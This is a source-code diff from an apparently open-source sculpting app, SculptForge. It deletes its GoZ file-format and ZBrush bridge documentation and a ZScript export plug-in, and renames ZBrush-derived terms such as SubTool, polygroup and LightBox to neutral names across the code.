-(commands), `src/app/PanelGoz.cpp` (File > Send to ZBrush menu). Tests: `tests/test_goz.cpp`.
-
-## Commands
-
-| Command | What it does |
-|---------|--------------|
-| `goz_import path=` | Open a `.GoZ` file (`open` does the same for `.GoZ`) |
-| `goz_export path= [name=] [quads=true]` | Write a `.GoZ` file; with several visible Parts, one `<stem>_<SubTool>.GoZ` each beside `path` |
-| `goz_send [name=] [folder=] [launch=true] [zbrush=]` | Send every visible Part to ZBrush through the bridge (`name=` only for a single one) |
-| `goz_receive [folder=]` | Load what ZBrush last sent: each object updates its Part (undoable) or becomes a new one |
-| `export_stl path=` | Binary STL of the visible Parts merged (`open` reads binary and ASCII `.stl`) |
-
-All of them are available in `sculptforge-cli`, the MCP server and Python, like every other command.
-
-## The .GoZ file
-
-Everything is little-endian. After the header comes a list of sections. Each section is a `uint32` tag
-and a `uint32` length. The length counts the tag and length fields too, so `length - 8` bytes follow.
-Element sections (vertices, faces...) then hold a `uint64` count and `length - 16` payload bytes.
-
-| Offset / tag | Contents |
-|--------------|----------|
-| 0 | `"GoZb 1.0 ZBrush GoZ Binary"` (26 bytes) + six `'.'` (0x2E) |
-| 32 | `uint32 1`, the tag of the object-name record |
-| 36 | `uint32 length` (= name length + 24), `uint64 1`, `"GoZMesh_"` + ASCII name |
-| `0x1389` | mesh name record: length 20, `uint64 1`, `uint32 0` (skipped) |
-| `0x138A` | subdivision level records, 4 × `uint32` each (read for information only) |
-| `0x2711` | vertices: count, then `float32 x, y, z` each |
-| `0x4E21` | faces: count, then 4 × `uint32` indices; the 4th is `0xFFFFFFFF` for triangles |
-| `0x61A9` | UVs: face count, then 4 corners × `float32 u, v` per face (triangles pad with (0, 1)) |
-| `0x88B9` | vertex paint: vertex count (GoB writes it as `uint32` + `float32 0`), then `B, G, R, 0` bytes per vertex, sRGB |
-| `0x7532` | mask: count, then `uint16` per vertex, **65535 = unmasked, 0 = fully masked** |
-| `0x9C41` | face groups: face count, then a `uint16` id per face (GoB uses 65504 for "no group") |
-| `0xAFC9` / `0xD6D9` / `0xC351` | diffuse / displacement / normal map path (`uint64 1` + bytes); kept in `GozInfo`, not loaded |
-| `0x0000` | end of file: GoB writes 16 zero bytes |
-
-Unknown tags are skipped using their length. Section lengths are checked against the file size, and
-faces with out-of-range indices are dropped, so a broken file cannot read past its end.
-
-### Conventions and mapping to `sf::Mesh`
-
-- **Axes.** ZBrush is Y-down. GoB maps GoZ `(x, y, z)` to Blender `(x, z, -y)` (Z-up). In SculptForge's
- Y-up space that is `(x, -y, -z)`, a 180° turn about X, which keeps the triangle winding. It is applied
- on import and undone on export. GoB's default scale factor is 1, so no unit scaling is applied.
-- **Faces.** A quad `(a, b, c, d)` becomes two consecutive triangles, `(a, b, c)` and `(a, c, d)`, kept
- paired as one quad (`Mesh::quadPartners`, so Wire shows the quad and sculpting, undo, subdivision and
- projects keep it). On export every pair is written back as that quad, `(a, b, c, d)`, provided the two
- halves share a face group and their UVs agree on the shared corners (`quads=false` turns this off). A mesh
- imported from ZBrush therefore goes back with its original quads. Meshes without kept quads (older
- projects) fall back to pairing consecutive triangles of exactly that pattern. Degenerate triangles (e.g.
- a quad with a repeated index) are dropped, and their quad partner becomes a plain triangle.
-- **UVs.** GoZ stores V downwards, and GoB flips V both ways by default. `Mesh::uvs` uses V up
- (OpenGL/OBJ), so V is flipped on the way in and out. There are 3 corners per triangle, in triangle order.
-- **Vertex Paint.** The bytes are sRGB. `Mesh::colors` is linear, so they are converted with
- `srgbToLinear`/`linearToSrgb`.
-- **Mask.** `Mesh::mask = 1 - value / 65535`. A section that masks nothing is dropped, so no memory is used.
-- **Face Groups.** The 16-bit ids are stored as they are in `Mesh::polygroups`. On export, ids above 65535
- keep only their low 16 bits.
-- **Hidden faces.** GoZ has no hidden flag, so hidden triangles are exported like any others.
-- The object name (`GozInfo::name`) is remembered per Part (`Document::gozName` for the active one,
- `SubTool::gozName` for the others, saved in projects), so `goz_send` updates the ZBrush SubTool the
- mesh came from and `goz_receive` updates the SculptForge Part it was sent from.
-
-## The bridge (Windows, macOS)
-
-GoZ apps exchange files through a shared folder:
-
-- Windows: `%PUBLIC%\Pixologic` (usually `C:\Users\Public\Pixologic`)
-- macOS: `/Users/Shared/Pixologic`
-- Linux: ZBrush doesn't run there, so there is no default. The bridge commands explain this, and GoZ
- files can still be imported and exported. Setting a custom folder (the `folder=` argument, or the
- field in File > Send to ZBrush), such as a Wine prefix's `drive_c/users/Public/Pixologic`, makes the
- bridge work anyway.
-
-**Send** (`goz_send`), following GoB's `GoB_OT_export.execute`. Every visible Part is one GoZ object,
-named after the GoZ name it came with, else its Part name (`gozObjectName`; duplicates get `_2`,
-`_3`...), so ZBrush gets them as separate SubTools:
-
-1. Write `GoZProjects/Default/<Name>.GoZ` for each object, plus `<Name>.ztn`, which holds the object path
- without its extension.
-2. Write those paths (forward slashes, no extension), one line per object in Part order, to
- `GoZBrush/GoZ_ObjectList.txt`.
-3. Write `GoZBrush/GoZ_Application.txt` = `SculptForge` and `GoZBrush/GoZ_ProjectPath.txt`.
-4. Register SculptForge as a GoZ application: `GoZApps/SculptForge/GoZ_Info.txt` (same keys as GoB's
- `Blender/GoZ_Info.txt`) and `GoZ_Config.txt` (`PATH = "<sculptforge executable>"`, written by the app).
-5. Tell ZBrush. If `GoZBrush/GoZBrushFromApp(.exe|.app)` (installed by ZBrush's GoZ setup) exists, it is
- started. That is how official GoZ plug-ins make a running ZBrush import the object list. Otherwise
- the newest ZBrush in the default install folders, or `zbrush=`, is started, like GoB's
- `find_zbrush`. GoB also starts its own compiled ZScript at that point. SculptForge does not ship a
- ZScript, so after a fresh start you press GoZ in ZBrush.
-
-**Receive** (`goz_receive`), following GoB's `GoB_OT_import.execute`: read `GoZ_ObjectList.txt`, append
-`.GoZ` to each line and load every object. Each object then:
-
-- replaces the mesh of the Part whose GoZ name matches (an undoable step in that Part's history),
-- or, for the first object when the scene is a single Part that didn't come from ZBrush (e.g. a new
- scene), replaces that Part, as receiving did before Parts,
-- or else is added as a new Part named after the object.
-
-The active Part stays selected. `gozReceive(root, Mesh&)` still offers the objects merged into one
-mesh for callers that want that.
-
-In the app, **Receive automatically** checks the object list's modification time once a second and
-receives when ZBrush rewrites it, which is what GoB's auto-import timer does. Sending turns it on and
-remembers the file time of SculptForge's own write, so a send is never received back.
-
-## STL
-
-`open` reads binary STL and ASCII STL. A file is binary when its size is exactly `84 + 50 × count`,
-otherwise it must start with `solid`. Coincident corners are welded with `weldImported`. `export_stl`
-writes binary STL with facet normals. Positions are kept as stored, with no axis or unit conversion.
-
-ZBrush is a trademark of Maxon. SculptForge is not affiliated with or endorsed by Maxon.
diff --git a/integrations/bridge-plugin/README.md b/integrations/bridge-plugin/README.md
deleted file mode 100644
index 95faae95..00000000
--- a/integrations/bridge-plugin/README.md
+++ /dev/null
@@ -1,35 +0,0 @@
-# Bridge setup
-
-SculptForge's **Bridge** (**File > Bridge**) exchanges Parts with ZBrush through ZBrush's own exchange folder, and
-the export plug-in in this folder converts a ZBrush library once. This page is the one place that names the other
-application, because setting it up needs its folder and menu names.
-
-## The bridge folder
-
-The Bridge uses the shared folder ZBrush's exchange plug-in uses: `C:\Users\Public\Pixologic` on Windows and
-`/Users/Shared/Pixologic` on macOS. Nothing to install: **File > Bridge > Send** writes there and starts ZBrush or
-brings it forward; send back from ZBrush with its own exchange button, and SculptForge receives it. ZBrush doesn't
-run on Linux, so there set a **Custom bridge folder** (for example inside a Wine prefix), or move Bridge files by
-hand with **Import / Export Bridge file**.
-
-## Converting a library once
-
-ZBrush's `.ZTL` files are proprietary and undocumented, so SculptForge can't read them. `SculptForgeBridgeExport.txt`
-is a ZScript plug-in that runs inside ZBrush and writes every SubTool of a ZTool, at its highest subdivision level,
-next to the `.ZTL` as a Bridge file (`Dragon.ZTL` -> `Dragon.sf001_Body.GoZ`, `Dragon.sf002_Horns.GoZ`, ...), with
-face groups, vertex paint, the mask and UVs. Opening `Dragon.ZTL` in SculptForge then opens those files as Parts in
-the same order and with the same names (a folder of numbered Bridge files, such as `Dragon.sculptforge/`, opens the
-same way).
-
-Install: copy `SculptForgeBridgeExport.txt` into ZBrush's `ZStartup/ZPlugs64` folder and restart ZBrush (it
-compiles the script to a `.zsc`), or load it once with **ZScript > Load**. The buttons are in
-**ZPlugin > SculptForge**:
-
-- **Convert ZTL**: pick a `.ZTL`; it is loaded and converted.
-- **Save for SculptForge**: saves the open ZTool as a `.ZTL` where you choose, and converts it.
-
-Not carried over: lower subdivision levels, layers, materials and textures. Status: not yet tested in every ZBrush
-version; please report problems with yours. Licence: GPL-3.0-or-later, like SculptForge. Releases before 0.10.11
-shipped the same file as `SculptForgeZToolExport.txt`.
-
-ZBrush is a trademark of Maxon. SculptForge is not affiliated with or endorsed by Maxon.
diff --git a/integrations/bridge-plugin/SculptForgeBridgeExport.txt b/integrations/bridge-plugin/SculptForgeBridgeExport.txt
deleted file mode 100644
index 7b1048cb..00000000
--- a/integrations/bridge-plugin/SculptForgeBridgeExport.txt
+++ /dev/null
@@ -1,85 +0,0 @@
-// SculptForge ZTL Export - a ZBrush plug-in that converts ZTools (.ZTL) so SculptForge can open them.
-// SPDX-License-Identifier: GPL-3.0-or-later
-// Copyright The SculptForge contributors. https://github.com/islandmed/SculptForge
-//
-// ZBrush's .ZTL files are proprietary, so SculptForge can't read them. This plug-in runs inside ZBrush and
-// writes every SubTool of a ZTool, at its highest subdivision level, as a GoZ file next to the .ZTL:
-// Dragon.ZTL -> Dragon.sf001_Body.GoZ, Dragon.sf002_Horns.GoZ, ...
-// The .GoZ files keep polygroups, polypaint, the mask and UVs (SculptForge: face groups, vertex paint). Then open Dragon.ZTL in SculptForge: it finds the GoZ
-// files and opens them as Parts, in the same order and with the same names.
-//
-// Install: copy this file into ZBrush's ZStartup/ZPlugs64 folder and restart ZBrush (ZBrush compiles it to a
-// .zsc), or load it once with ZScript > Load. The buttons are in ZPlugin > SculptForge.
-//
-// ZBrush, ZScript, ZTool, GoZ, MatCap and other ZBrush feature names are trademarks of Maxon Computer GmbH. SculptForge is not affiliated with or
-// endorsed by Maxon.
-
-[VarDef, sfPath, ""] // the .ZTL path
-[VarDef, sfBase, ""] // the .ZTL path without its extension
-[VarDef, sfFile, ""]
-[VarDef, sfName, ""]
-[VarDef, sfNum, ""]
-[VarDef, sfCount, 0]
-[VarDef, sfIndex, 0]
-[VarDef, sfActive, 0]
-
-// The .ZTL path in sfPath -> sfBase without ".ZTL" (any letter case).
-[RoutineDef, sfStripExtension,
- [VarSet, sfBase, sfPath]
- [If, [StrLength, sfPath] > 4,
- [If, [StrFind, ".ZTL", [StrExtract, sfPath, [StrLength, sfPath] - 4, [StrLength, sfPath] - 1]] == 0,
- [VarSet, sfBase, [StrExtract, sfPath, 0, [StrLength, sfPath] - 5]]
- ,
- [If, [StrFind, ".ztl", [StrExtract, sfPath, [StrLength, sfPath] - 4, [StrLength, sfPath] - 1]] == 0,
- [VarSet, sfBase, [StrExtract, sfPath, 0, [StrLength, sfPath] - 5]]
- ]
- ]
- ]
-]
-
-// Writes every SubTool of the current ZTool as <sfBase>.sf<NNN>_<SubTool>.GoZ at its highest subdivision level.
-[RoutineDef, sfWriteSubTools,
- [VarSet, sfActive, [SubToolGetActiveIndex]]
- [VarSet, sfCount, [SubToolGetCount]]
- [VarSet, sfIndex, 0]
- [Loop, sfCount,
- [SubToolSelect, sfIndex]
- // The highest subdivision level carries the sculpted detail.
- [If, [IsEnabled, "Tool:Geometry:SDiv"],
- [ISet, "Tool:Geometry:SDiv", [IGetMax, "Tool:Geometry:SDiv"]]
- ]
- // Tool:ItemInfo is the SubTool's name followed by a dot.
- [VarSet, sfName, [IGetTitle, "Tool:ItemInfo"]]
- [VarSet, sfName, [StrExtract, sfName, 0, [StrLength, sfName] - 2]]
- [VarSet, sfNum, [StrMerge, "00", sfIndex + 1]]
- [VarSet, sfNum, [StrExtract, sfNum, [StrLength, sfNum] - 3, [StrLength, sfNum] - 1]]
- [VarSet, sfFile, [StrMerge, sfBase, ".sf", sfNum, "_", sfName, ".GoZ"]]
- [FileNameSetNext, sfFile]
- [IPress, "Tool:Export"]
- [VarInc, sfIndex]
- ]
- [SubToolSelect, sfActive]
- [Note, [StrMerge, "SculptForge: wrote ", sfCount, " SubTools next to ", sfBase, ".ZTL\nOpen the .ZTL in SculptForge."], , 4]
-]
-
-[ISubPalette, "ZPlugin:SculptForge"]
-
-[IButton, "ZPlugin:SculptForge:Convert ZTL", "Pick a ZTool (.ZTL): it is loaded and each SubTool is written as a GoZ file next to it, so SculptForge can open the .ZTL.",
- [VarSet, sfPath, [FileNameAsk, "ZTL(*.ZTL)", , "ZTool to convert for SculptForge"]]
- [If, [StrLength, sfPath] > 0,
- [FileNameSetNext, sfPath]
- [IPress, "Tool:Load Tool"]
- [RoutineCall, sfStripExtension]
- [RoutineCall, sfWriteSubTools]
- ]
-, 0, 1]
-
-[IButton, "ZPlugin:SculptForge:Save for SculptForge", "Save the current ZTool as a .ZTL (choose where) and write each SubTool as a GoZ file next to it, so SculptForge can open the .ZTL.",
- [VarSet, sfPath, [FileNameAsk, "ZTL(*.ZTL)", [IGetTitle, "Tool:Current Tool"], "Save ZTool for SculptForge"]]
- [If, [StrLength, sfPath] > 0,
- [FileNameSetNext, sfPath]
- [IPress, "Tool:Save As"]
- [RoutineCall, sfStripExtension]
- [RoutineCall, sfWriteSubTools]
- ]
-, 0, 1]
diff --git a/integrations/comfyui/ComfyUI-SculptForge/sculptforge_comfy/nodes.py b/integrations/comfyui/ComfyUI-SculptForge/sculptforge_comfy/nodes.py
index bed8572c..c239406e 100644
--- a/integrations/comfyui/ComfyUI-SculptForge/sculptforge_comfy/nodes.py
+++ b/integrations/comfyui/ComfyUI-SculptForge/sculptforge_comfy/nodes.py
@@ -355,7 +355,7 @@ class SculptForgeMeshInfo:
return {"required": {"mesh": (MESH_IN,)}, "hidden": {"unique_id": "UNIQUE_ID"}}
def info(self, mesh, unique_id=None):
- stdout = cli.run("open path=$IN; mesh_info; subtool_list", {"IN": _source(mesh)}) # marks-pending
+ stdout = cli.run("open path=$IN; mesh_info; part_list", {"IN": _source(mesh)})
lines = [l.split(": ", 1)[-1] if re.match(r"^\w+: ", l) else l for l in stdout.strip().splitlines()[1:]]
text = "\n".join(lines)
paths.show_text(text, unique_id)
diff --git a/integrations/comfyui/ComfyUI-SculptForge/tests/fake_cli.py b/integrations/comfyui/ComfyUI-SculptForge/tests/fake_cli.py
index 9052c833..af7a9471 100644
--- a/integrations/comfyui/ComfyUI-SculptForge/tests/fake_cli.py
+++ b/integrations/comfyui/ComfyUI-SculptForge/tests/fake_cli.py
@@ -120,8 +120,8 @@ def main(argv):
elif cmd == "mesh_info":
print(f"mesh_info: {state['triangles'] // 2} vertices, {state['triangles']} triangles, "
"bounds (-1, -1, -1) - (1, 1, 1)")
- elif cmd == "subtool_list":
- print(f"subtool_list: 1 Part:\n0. {state['name']} ({state['triangles']} triangles, active)") # marks-pending
+ elif cmd == "part_list":
+ print(f"part_list: 1 Part:\n0. {state['name']} ({state['triangles']} triangles, active)")
else:
fail(line, cmd, f"Unknown command '{cmd}'")
diff --git a/src/ai/SplatTrainer.h b/src/ai/SplatTrainer.h
index cc007c9b..16ffd5fc 100644
--- a/src/ai/SplatTrainer.h
+++ b/src/ai/SplatTrainer.h
@@ -38,7 +38,7 @@ struct SplatTrainSettings {
std::string colmapPath;
std::string ffmpegPath;
std::string preset = "fast";
- bool copyToLibrary = true; // also put the result in the LightBox Splats tab
+ bool copyToLibrary = true; // also put the result in the Library Splats tab
static SplatTrainSettings load(const std::string& path);
bool save(const std::string& path) const;
diff --git a/src/app/Actions.cpp b/src/app/Actions.cpp
index 4e0130be..107e5e19 100644
--- a/src/app/Actions.cpp
+++ b/src/app/Actions.cpp
@@ -27,14 +27,12 @@ std::string trim(std::string_view s) {
return std::string(s.substr(a, b - a));
}
-// "subtool_append" -> "Part append": the command's words, with the interface's names for what they name.
+// "part_append" -> "Part append": the command's words, with the interface's names for what they name.
std::string humanize(const std::string& name) {
static const std::pair<std::string_view, std::string_view> kWords[] = {
- {"subtool", "part"}, {"subtools", "parts"}, {"zsphere", "forge sphere"},
- {"zspheres", "forge spheres"}, {"polygroup", "face group"}, {"polygroups", "face groups"},
- {"polypaint", "vertex paint"}, {"qremesh", "quad remesh"}, {"matcap", "lit sphere"},
- {"matcaps", "lit spheres"}, {"lightbox", "library"}, {"goz", "zbrush"},
- {"quicksave", "snapshot"}};
+ {"forgesphere", "forge sphere"}, {"forgespheres", "forge spheres"}, {"facegroup", "face group"},
+ {"facegroups", "face groups"}, {"vertexpaint", "vertex paint"}, {"qremesh", "quad remesh"},
+ {"litsphere", "lit sphere"}, {"litspheres", "lit spheres"}, {"quicksave", "snapshot"}};
std::string out;
size_t start = 0;
while (start <= name.size()) {
@@ -222,7 +220,7 @@ void ActionRegistry::removePrefix(std::string_view prefix) {
const Action* ActionRegistry::find(std::string_view id) const {
for (const auto& a : actions_)
if (a.id == id) return &a;
- if (const std::string_view now = legacy::renamed(legacy::kActionIds, id); !now.empty()) return find(now);
+ if (legacy::isOld(id)) return find(legacy::modernize(id)); // an id an older version saved
return nullptr;
}
@@ -337,8 +335,7 @@ void ActionRegistry::overridesFromJson(const Json& j) {
if (!j.isObject()) return;
for (const auto& [id, chord] : j.members())
if (chord.isString()) {
- const std::string_view now = legacy::renamed(legacy::kActionIds, id);
- overrides_.emplace_back(now.empty() ? id : std::string(now), chord.asString());
+ overrides_.emplace_back(legacy::modernize(id), chord.asString());
}
}
diff --git a/src/app/Actions.h b/src/app/Actions.h
index 26c59e97..09057b80 100644
--- a/src/app/Actions.h
+++ b/src/app/Actions.h
@@ -21,7 +21,7 @@ namespace sf {
class CommandRegistry;
struct Action {
- std::string id; // "geometry.subdivide", "ui.lightbox", "brush.clay", "view.wireframe"
+ std::string id; // "geometry.subdivide", "ui.Library", "brush.clay", "view.wireframe"
std::string label; // "Subdivide"
const char* icon = nullptr; // ICON_LC_* or nullptr
std::string description; // Ctrl-hover help; defaults to the command's description
@@ -58,7 +58,7 @@ public:
bool handleKey(SDL_Keycode key, SDL_Keymod mods);
std::string shortcutText(std::string_view id) const; // effective chord after user overrides
void setShortcut(std::string_view id, std::string chord); // user override ("" clears)
- // Changes an action's default chord (Preferences > Input switches between the ZBrush and SculptForge
+ // Changes an action's default chord (Preferences > Input switches between the classic and SculptForge
// defaults); user overrides still win.
void setDefaultShortcut(std::string_view id, std::string chord);
Json overridesToJson() const;
@@ -67,7 +67,7 @@ public:
const std::vector<std::string>& recent() const { return recent_; }
void setRecent(std::vector<std::string> ids) { recent_ = std::move(ids); }
- // Like setShortcut, but takes CHORD away from any other action that has it (ZBrush reassigns
+ // Like setShortcut, but takes CHORD away from any other action that has it (reassigns
// on conflict). Returns the label of the action that lost it, or "".
// keepOthers: add CHORD to the action's chords instead of replacing them (an imported keymap's second key).
std::string assignShortcut(std::string_view id, const std::string& chord, bool keepOthers = false);
diff --git a/src/app/App.cpp b/src/app/App.cpp
index e75f4194..f1e8e81b 100644
--- a/src/app/App.cpp
+++ b/src/app/App.cpp
@@ -22,7 +22,7 @@
#include <imgui_internal.h>
#include "ai/Generator3D.h"
#include "core/Micro.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/EnginePresets.h"
#include "link/UnrealLink.h"
#include "core/BrushLibrary.h"
@@ -73,7 +73,7 @@ namespace {
const SDL_DialogFileFilter kObjFilters[] = {{"Wavefront OBJ", "obj"}, {"All files", "*"}};
const SDL_DialogFileFilter kGlbFilters[] = {{"glTF binary", "glb"}, {"All files", "*"}};
const SDL_DialogFileFilter kBrushFilters[] = {{"SculptForge brush", "sfbrush"}, {"All files", "*"}};
-const SDL_DialogFileFilter kModelFilters[] = {{"Projects, models and splats", "sfproj;obj;fbx;glb;gltf;ply;stl;" SF_BRIDGE_DIALOG_EXTS ";splat;usda;usd;usdz"}, {"All files", "*"}};
+const SDL_DialogFileFilter kModelFilters[] = {{"Projects, models and splats", "sfproj;obj;fbx;glb;gltf;ply;stl;" SF_BRIDGE_MESH_EXTS ";splat;usda;usd;usdz"}, {"All files", "*"}};
const SDL_DialogFileFilter kFbxFilters[] = {{"FBX", "fbx"}, {"All files", "*"}};
const SDL_DialogFileFilter kUsdFilters[] = {{"USDZ package", "usdz"}, {"USD text", "usda"}};
const SDL_DialogFileFilter kSplatFilters[] = {{"Gaussian splats (PLY)", "ply"}, {"glTF splats", "glb"}, {"OpenUSD", "usda;usdz"}};
@@ -226,7 +226,7 @@ bool App::init(const AppOptions& options) {
initBrushSettings(); // each brush's own size, intensity, stroke and alpha (#78)
loadBrushCurves(); // each brush's own pressure curve (Precision.cpp)
initPhoneActions(); // File > Capture from phone (PanelPhone.cpp)
- initLightBox();
+ initLibraryBrowser();
runCommand("new_sphere");
if (!options.openPath.empty()) openPath(options.openPath);
if (!options.script.empty()) {
@@ -271,7 +271,7 @@ void App::shutdown() {
if (refTexture_) gl::DeleteTextures(1, &refTexture_);
gallery_.reset(); // its preview textures need the GL context
thumbs_.clear();
- clearSubtoolThumbnails();
+ clearPartThumbnails();
ImGui_ImplOpenGL3_Shutdown();
ImGui_ImplSDL3_Shutdown();
ImGui::DestroyContext();
@@ -294,9 +294,9 @@ int App::renderHeadless() {
renderSettings_.wireframe = renderSettings_.wireframe || options_.wireframe; // syncScene builds its edges
RenderSettings settings = renderSettings_;
settings.wireframe = options_.wireframe;
- settings.showPolygroups = settings.showPolygroups || options_.polygroups;
+ settings.showFaceGroups = settings.showFaceGroups || options_.facegroups;
settings.showMesh = !options_.hideMesh;
- settings.dimInactive = false; // a beauty shot: every SubTool at full brightness
+ settings.dimInactive = false; // a beauty shot: every Part at full brightness
syncScene();
const std::filesystem::path out(std::u8string(options_.renderPath.begin(), options_.renderPath.end()));
for (int f = 0; f < frames; ++f) {
@@ -643,7 +643,7 @@ bool App::wantsFrames(double now) const {
uint64_t App::frameKey() const {
uint64_t h = std::hash<std::string>{}(status_) ^ (std::hash<std::string>{}(updateStatus_) << 1);
for (const uint64_t v : {uint64_t(doc_.undo.revision()), uint64_t(doc_.splatsVersion), uint64_t(doc_.modified),
- uint64_t(doc_.subtoolCount()), uint64_t(int64_t(doc_.activeSubtool))})
+ uint64_t(doc_.partCount()), uint64_t(int64_t(doc_.activePart))})
h = h * 1099511628211ull ^ v;
return h;
}
@@ -670,7 +670,7 @@ int App::run() {
if ((frameLogMs >= 0.0 || proof_) && phases < 10) phase[phases++] = double(SDL_GetTicksNS()) * 1e-6;
};
auto seconds = [] { return double(SDL_GetTicksNS()) * 1e-9; };
- // --measure-idle: let start-up settle (first frames, the LightBox's thumbnails), then count.
+ // --measure-idle: let start-up settle (first frames, the Library's thumbnails), then count.
constexpr double kMeasureSettle = 3.0;
const double started = seconds();
uint64_t framesDrawn = 0, wakeUps = 0, framesAtMeasure = 0, wakesAtMeasure = 0;
@@ -925,7 +925,7 @@ int App::run() {
pollBrushRequest();
pollGenerator();
pollUnreal();
- pollGoz();
+ pollBridge();
pollBlender();
pollMaya();
pollPhone();
@@ -1326,7 +1326,7 @@ void App::dispatchEvent(const SDL_Event& event) {
}
bool App::pick(float x, float y, RayHit& hit) const {
- if (!doc_.activeSubtoolInfo().visible) return false; // you can't sculpt what you can't see
+ if (!doc_.activePartInfo().visible) return false; // you can't sculpt what you can't see
glm::vec3 origin, dir;
canvasRay(x, y, origin, dir);
return frontRaycast(origin, dir, hit);
@@ -1408,7 +1408,7 @@ void App::updateMouseCursor() {
}
BrushType App::activeBrush() const {
- // ZBrush convention: holding Shift temporarily switches to Smooth.
+ // classic convention: holding Shift temporarily switches to Smooth.
// The pen's eraser end can be set to smooth too (Preferences > Tablet).
const bool smooth = (inputMods() & SDL_KMOD_SHIFT) || (erasing() && eraserAction() == PenAction::Smooth);
return smooth ? BrushType::Smooth : brush_;
@@ -1439,9 +1439,9 @@ void App::onMouseDown(float x, float y, Uint8 button) {
rightClick_.dx = rightClick_.dy = 0.0f;
zsMenu_.armed = false;
// A right click on a Forge Sphere opens its menu (#8): Delete, Insert Between, Set as Root.
- if (button == SDL_BUTTON_RIGHT && zsphereActive() && !doc_.mesh.zspherePreview &&
+ if (button == SDL_BUTTON_RIGHT && forgesphereActive() && !doc_.mesh.forgespherePreview &&
!(SDL_GetModState() & (SDL_KMOD_SHIFT | SDL_KMOD_CTRL | SDL_KMOD_ALT | SDL_KMOD_GUI)))
- zsphereRightDown(x, y);
+ forgesphereRightDown(x, y);
if (spaceHeld_) { // Preferences > Input > Hold Space and drag to move the camera (#43)
switch (spaceCameraMove(button, ctrlDown(SDL_GetModState()))) {
case SpaceCameraMove::Orbit: drag_ = Drag::Orbit; break;
@@ -1466,8 +1466,8 @@ void App::onMouseDown(float x, float y, Uint8 button) {
if (mayaStyle() && mayaNavigationDown(button)) return; // Alt+left / middle / right: orbit / pan / zoom
if (button == SDL_BUTTON_LEFT) {
if (axisGizmoMouseDown(x, y)) return; // the axis gizmo's ends snap to a side view (#43)
- if (zsphereMouseDown(x, y, mod)) return; // a ZSphere SubTool takes clicks on it (PanelZSpheres.cpp)
- if (polygroupMouseDown(x, y, mod)) return;
+ if (forgesphereMouseDown(x, y, mod)) return; // a Forge Sphere Part takes clicks on it (PanelForge Spheres.cpp)
+ if (facegroupMouseDown(x, y, mod)) return;
if (maskSelectMouseDown(x, y, mod)) return;
if (gizmoMouseDown(x, y, mod)) return; // Gizmo 3D handles, pivot clicks (Gizmo.cpp)
if (uvToolMouseDown(x, y, mod)) return; // the UV Editor's Seam / Select in 3D tool (PanelUvEditor.cpp)
@@ -1475,37 +1475,37 @@ void App::onMouseDown(float x, float y, Uint8 button) {
if (faceMouseDown(x, y, mod)) return; // placing facial landmarks (PanelFace.cpp)
if (sculptableMouseDown(x, y)) return; // Make sculptable: landmarks, crop box (PanelSculptable.cpp)
if (captureMouseDown(x, y)) return; // Capture from view: the drag draws the square (PanelKelvinlet.cpp)
- // A triple-click on another SubTool makes it the active one and frames it (#43). (Its first two clicks
- // don't sculpt it: brushes work on the active SubTool only.)
+ // A triple-click on another Part makes it the active one and frames it (#43). (Its first two clicks
+ // don't sculpt it: brushes work on the active Part only.)
// Not from a pen: quick taps of a stippling pen counted as a triple-click and switched the Part. Nor while
// a pen hovers: a Wacom side button set to Double Click (the Intuos 3 default) and a tap made one (Discord).
const bool penNear = penInProximity_ && SDL_GetTicksNS() - lastPenNs_ < 1000000000ull;
if (mouseClicks_ >= 3 && !lastInputPen_ && !wintabPen_ && !penNear && !(mod & (SDL_KMOD_SHIFT | SDL_KMOD_CTRL | SDL_KMOD_ALT | SDL_KMOD_GUI)) &&
- insertType_.empty() && doc_.subtoolCount() > 1) {
- const int target = pickSubtool(x, y);
- if (target >= 0 && target != doc_.activeSubtool) {
- runCommand("subtool_select", {{"index", double(target)}});
+ insertType_.empty() && doc_.partCount() > 1) {
+ const int target = pickPart(x, y);
+ if (target >= 0 && target != doc_.activePart) {
+ runCommand("part_select", {{"index", double(target)}});
partSelected("triple-click");
- frameActiveSubtool();
+ frameActivePart();
return;
}
}
- // Alt+click on another SubTool selects it (ZBrush); Alt+drag stays an inverted stroke or a pan.
- // Shift+Alt+click selects and frames it (ZBrush), the active one too.
+ // Alt+click on another Part selects it; Alt+drag stays an inverted stroke or a pan.
+ // Shift+Alt+click selects and frames it, the active one too.
// Only the keyboard's Alt: a pen button set to Invert (Alt) is for subtracting, and a tap with it held
// switched the Part without the user knowing why.
const SDL_Keymod keys = keyMods();
const bool frameClick = (keys & SDL_KMOD_ALT) && (mod & SDL_KMOD_SHIFT) && !ctrlDown(mod);
if (!blenderStyle() && (keys & SDL_KMOD_ALT) && !ctrlDown(mod) && (frameClick || !(mod & SDL_KMOD_SHIFT)) &&
- (doc_.subtoolCount() > 1 || frameClick)) {
- const int target = pickSubtool(x, y);
- subtoolClickFrame_ = frameClick;
- if (target >= 0 && (target != doc_.activeSubtool || frameClick)) {
- drag_ = Drag::SubToolClick;
- subtoolClickTarget_ = target;
- subtoolClickX_ = x;
- subtoolClickY_ = y;
- subtoolClickNs_ = clickClockNs();
+ (doc_.partCount() > 1 || frameClick)) {
+ const int target = pickPart(x, y);
+ partClickFrame_ = frameClick;
+ if (target >= 0 && (target != doc_.activePart || frameClick)) {
+ drag_ = Drag::PartClick;
+ partClickTarget_ = target;
+ partClickX_ = x;
+ partClickY_ = y;
+ partClickNs_ = clickClockNs();
return;
}
}
@@ -1534,16 +1534,16 @@ void App::onMouseDown(float x, float y, Uint8 button) {
maskCanvasY_ = y;
maskCanvasMoved_ = false;
} else {
- // Dragging on empty space navigates (ZBrush style).
+ // Dragging on empty space navigates.
drag_ = (nav & SDL_KMOD_ALT) ? Drag::Pan : ctrlDown(nav) ? Drag::Zoom : Drag::Orbit;
panFromAlt_ = drag_ == Drag::Pan;
- // ZBrush: Shift+click, let go of Shift, then drag turns the view about its own axis (Z).
+ // Shift+click, let go of Shift, then drag turns the view about its own axis (Z).
rollPending_ = drag_ == Drag::Orbit && (nav & SDL_KMOD_SHIFT);
rollStartX_ = x;
rollStartY_ = y;
}
} else if (button == SDL_BUTTON_RIGHT) {
- // ZBrush's right-click navigation: rotate (Shift snaps), Alt pans (release Alt to zoom), Ctrl zooms.
+ // the classic right-click navigation: rotate (Shift snaps), Alt pans (release Alt to zoom), Ctrl zooms.
drag_ = (nav & SDL_KMOD_ALT) ? Drag::Pan : ctrlDown(nav) ? Drag::Zoom : Drag::Orbit;
panFromAlt_ = (nav & SDL_KMOD_ALT) != 0;
} else if (button == SDL_BUTTON_MIDDLE) {
